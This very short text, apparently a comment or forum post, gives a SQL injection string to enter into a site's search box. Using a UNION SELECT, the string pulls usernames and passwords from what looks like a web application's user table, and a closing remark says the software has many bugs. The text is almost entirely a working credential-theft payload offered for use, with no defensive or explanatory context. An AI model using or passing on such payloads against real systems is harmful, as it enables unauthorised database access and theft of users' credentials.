Search it: %') LIMIT 0 UNION SELECT 1337,username,password,1 FROM dbPfixajaxp_users/* And it has a lot of bugs.